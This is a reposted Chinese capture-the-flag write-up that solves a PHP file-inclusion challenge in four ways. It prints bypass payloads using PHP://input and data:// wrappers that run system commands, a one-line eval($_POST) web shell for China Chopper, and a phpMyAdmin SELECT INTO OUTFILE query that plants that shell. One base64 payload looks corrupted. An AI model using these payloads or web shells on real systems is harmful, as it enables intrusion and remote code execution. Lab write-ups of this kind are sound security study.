攻防世界-Web_php_include (四種解法)


攻防世界-Web_php_include   (考察的是文件包含)

打開頁面是這樣一段代碼從代碼中得知page中帶有php://的都會被替換成空

str_replace()以其他字符替換字符串中的一些字符(區分大小寫)

strstr() 查找字符串首次出現的位置。返回字符串剩余部分

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

分析代碼可知程序過濾掉了page=參數傳入php://

第一種方法(大小寫繞過)

大小寫繞過由於strstr()這個函數是區分大小寫的所以我們可以轉換成大小寫用PHP://input

Post傳輸惡意代碼 

第二種方法(data://偽協議執行命令利用)

既然過濾了php://的偽協議 我們可以使用其他協議來做這里使用data://偽協議

data://偽協議

php5.2.0起,數據流封裝器開始有效,主要用於數據流的讀取。如果傳入的數據是PHP代碼,就會執行代碼

使用方法:data://text/plain;base64,xxxx(base64編碼后的數據)

<?php system("dir")?> base64編碼后使用

http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b  (注意編碼后的+號要URL編碼)

<?php system("cat fl4gisisish3r3.php")?> base64編碼后使用

http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看源碼得到flag

 

第三種方法(data://偽協議傳木馬)

<?php eval($_POST[xiaohua]); ?> base64加密后拼接

http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

菜刀連接即可:

第四種方法(數據庫寫入馬)

御劍掃描獲得phpmyadmin root 密碼空 進入

數據庫執行這條命令查看secure_file_priv是否為空,為空則可以寫數據 如果是null不能寫

SHOW VARIABLES LIKE "secure_file_priv"

linux默認tmp是可寫目錄 試試寫入一句話馬 菜刀連接 

SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

 

 

參考學習: https://www.cnblogs.com/Zhu013/p/11550463.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM